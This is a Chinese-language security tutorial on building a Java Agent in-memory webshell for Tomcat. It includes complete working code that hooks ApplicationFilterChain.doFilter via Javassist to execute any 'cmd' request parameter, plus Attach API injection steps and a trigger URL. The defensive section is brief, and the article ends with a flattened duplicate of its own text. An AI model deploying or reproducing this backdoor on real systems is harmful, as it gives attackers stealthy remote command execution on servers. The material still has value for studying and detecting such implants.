初识Java Agent内存马
字数 1415 2025-08-10 13:48:22

Java Agent内存马技术详解

一、Java Agent基础

1.1 Java Agent概述

Java Agent是基于java.lang.instrument包实现的一种技术,它允许开发者在JVM运行期间动态修改已加载或未加载的类。主要特点包括:

  • 无需重新编译即可修改字节码
  • 可以修改类的属性、方法等
  • 有两种加载方式:启动前加载和启动后加载

1.2 核心接口和类

Instrumentation接口

java.lang.instrument.Instrumentation是Java Agent的核心接口,提供以下关键方法:

void addTransformer(ClassFileTransformer transformer);  // 添加类转换器
boolean removeTransformer(ClassFileTransformer transformer);  // 删除类转换器
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;  // 重新定义类
boolean isModifiableClass(Class<?> theClass);  // 判断类是否可修改
Class[] getAllLoadedClasses();  // 获取所有已加载的类

ClassFileTransformer接口

用于转换类文件的接口,核心方法是:

byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                ProtectionDomain protectionDomain, byte[] classfileBuffer);

1.3 Java Agent的两种加载方式

启动前加载(premain)

在JVM启动前加载,需要实现premain方法:

public static void premain(String agentArgs, Instrumentation inst) {
    // 初始化代码
}

配置MANIFEST.MF文件:

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.AgentForward.Agent

启动后加载(agentmain)

在JVM运行后加载,需要实现agentmain方法:

public static void agentmain(String agentArgs, Instrumentation inst) {
    // 初始化代码
}

配置MANIFEST.MF文件:

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.AgentBackwards.Agent

1.4 Attach API

用于在运行时连接和管理JVM进程,核心类是com.sun.tools.attach.VirtualMachine,主要方法:

static VirtualMachine attach(String id);  // 连接到JVM进程
void loadAgent(String agentPath);  // 加载Agent
void detach();  // 断开连接

注意:Windows系统中需要手动添加tools.jar到工程库中。

二、Javassist字节码操作

2.1 核心类介绍

ClassPool

管理和操作类字节码的容器:

ClassPool cp = ClassPool.getDefault();

CtClass

表示编译时的类,对应Java中的类:

CtClass ctClass = classPool.getCtClass("com.example.Demo");

CtMethod

表示类中的方法:

CtMethod ctMethod = ctClass.getDeclaredMethod("methodName");

2.2 方法修改技术

insertBefore

在方法体开头插入代码:

ctMethod.insertBefore("System.out.println(\"Before method\");");

insertAfter

在方法体末尾插入代码:

ctMethod.insertAfter("System.out.println(\"After method\");");

setBody

完全替换方法体:

ctMethod.setBody("{ System.out.println(\"New body\"); }");

2.3 示例:修改方法

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.javassist.Demo");
CtMethod ctMethod = ctClass.getDeclaredMethod("test");
ctMethod.insertBefore("System.out.println(\"修改成功啦\");");
ctClass.writeFile();
ctClass.toClass();

三、Agent内存马实现

3.1 目标类选择

选择org.apache.catalina.core.ApplicationFilterChain类的doFilter方法作为注入点,原因:

  1. 所有请求都会经过过滤器链
  2. 可以完全控制request和response对象
  3. 在Tomcat/Servlet容器中稳定存在

3.2 恶意Agent实现

Agent主类

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(), true);
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas : classes) {
            if (clas.getName().equals(ClassName)) {
                try {
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

Transformer实现

public class DefineTransformer implements ClassFileTransformer {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                          ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/", ".");
        if(className.equals(ClassName)) {
            ClassPool classPool = ClassPool.getDefault();
            try {
                CtClass ctClass = classPool.getCtClass(className);
                CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                ctMethod.insertBefore(
                    "javax.servlet.http.HttpServletRequest req = request;\n" +
                    "javax.servlet.http.HttpServletResponse res = response;\n" +
                    "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                    "if (cmd != null){\n" +
                    " try {\n" +
                    " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                    " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                    " String line;\n" +
                    " StringBuilder sb = new StringBuilder(\"\");\n" +
                    " while ((line=reader.readLine()) != null){\n" +
                    " sb.append(line).append(\"\\n\");\n" +
                    " }\n" +
                    " response.getOutputStream().print(sb.toString());\n" +
                    " response.getOutputStream().flush();\n" +
                    " response.getOutputStream().close();\n" +
                    " } catch (Exception e){\n" +
                    " e.printStackTrace();\n" +
                    " }\n" +
                    "}");
                byte[] bytes = ctClass.toBytecode();
                ctClass.detach();
                return bytes;
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return null;
    }
}

3.3 注入过程

  1. 获取目标JVM进程ID:

    jps -l
    
  2. 编写注入代码:

    public class AgentCommand {
        public static void main(String[] args) throws Exception {
            VirtualMachine target = VirtualMachine.attach("98736");
            target.loadAgent("path/to/agent.jar");
            target.detach();
        }
    }
    
  3. 执行注入后,任何URL路径下都可以通过cmd参数执行命令:

    http://target/path?cmd=whoami
    

3.4 注意事项

  1. 目标JVM必须包含javassist库,否则无法修改字节码
  2. 注入的恶意代码会保留在内存中,重启后失效
  3. 这种方式相比传统内存马更加隐蔽,不依赖文件系统

四、防御措施

  1. 禁用Attach API:在生产环境中限制Attach API的使用
  2. 字节码校验:实施运行时字节码校验机制
  3. 监控工具:使用Java Agent监控工具检测可疑的Agent加载
  4. 最小权限:遵循最小权限原则运行Java应用
  5. 代码审计:定期审计关键类的字节码修改

五、总结

Java Agent内存马技术利用Java Instrumentation机制和字节码操作技术,实现了无文件、高隐蔽性的后门植入。相比传统内存马,它具有以下特点:

  1. 不依赖文件系统,完全内存驻留
  2. 可以修改任何已加载类的行为
  3. 注入后难以通过常规手段检测
  4. 技术门槛较高,但威力强大

理解这种技术的原理和实现方式,对于防御此类高级攻击具有重要意义。

Java Agent内存马技术详解 一、Java Agent基础 1.1 Java Agent概述 Java Agent是基于 java.lang.instrument 包实现的一种技术,它允许开发者在JVM运行期间动态修改已加载或未加载的类。主要特点包括: 无需重新编译即可修改字节码 可以修改类的属性、方法等 有两种加载方式:启动前加载和启动后加载 1.2 核心接口和类 Instrumentation接口 java.lang.instrument.Instrumentation 是Java Agent的核心接口,提供以下关键方法: ClassFileTransformer接口 用于转换类文件的接口,核心方法是: 1.3 Java Agent的两种加载方式 启动前加载(premain) 在JVM启动前加载,需要实现 premain 方法: 配置MANIFEST.MF文件: 启动后加载(agentmain) 在JVM运行后加载,需要实现 agentmain 方法: 配置MANIFEST.MF文件: 1.4 Attach API 用于在运行时连接和管理JVM进程,核心类是 com.sun.tools.attach.VirtualMachine ,主要方法: 注意:Windows系统中需要手动添加 tools.jar 到工程库中。 二、Javassist字节码操作 2.1 核心类介绍 ClassPool 管理和操作类字节码的容器: CtClass 表示编译时的类,对应Java中的类: CtMethod 表示类中的方法: 2.2 方法修改技术 insertBefore 在方法体开头插入代码: insertAfter 在方法体末尾插入代码: setBody 完全替换方法体: 2.3 示例:修改方法 三、Agent内存马实现 3.1 目标类选择 选择 org.apache.catalina.core.ApplicationFilterChain 类的 doFilter 方法作为注入点,原因: 所有请求都会经过过滤器链 可以完全控制request和response对象 在Tomcat/Servlet容器中稳定存在 3.2 恶意Agent实现 Agent主类 Transformer实现 3.3 注入过程 获取目标JVM进程ID: 编写注入代码: 执行注入后,任何URL路径下都可以通过 cmd 参数执行命令: 3.4 注意事项 目标JVM必须包含javassist库,否则无法修改字节码 注入的恶意代码会保留在内存中,重启后失效 这种方式相比传统内存马更加隐蔽,不依赖文件系统 四、防御措施 禁用Attach API :在生产环境中限制Attach API的使用 字节码校验 :实施运行时字节码校验机制 监控工具 :使用Java Agent监控工具检测可疑的Agent加载 最小权限 :遵循最小权限原则运行Java应用 代码审计 :定期审计关键类的字节码修改 五、总结 Java Agent内存马技术利用Java Instrumentation机制和字节码操作技术,实现了无文件、高隐蔽性的后门植入。相比传统内存马,它具有以下特点: 不依赖文件系统,完全内存驻留 可以修改任何已加载类的行为 注入后难以通过常规手段检测 技术门槛较高,但威力强大 理解这种技术的原理和实现方式,对于防御此类高级攻击具有重要意义。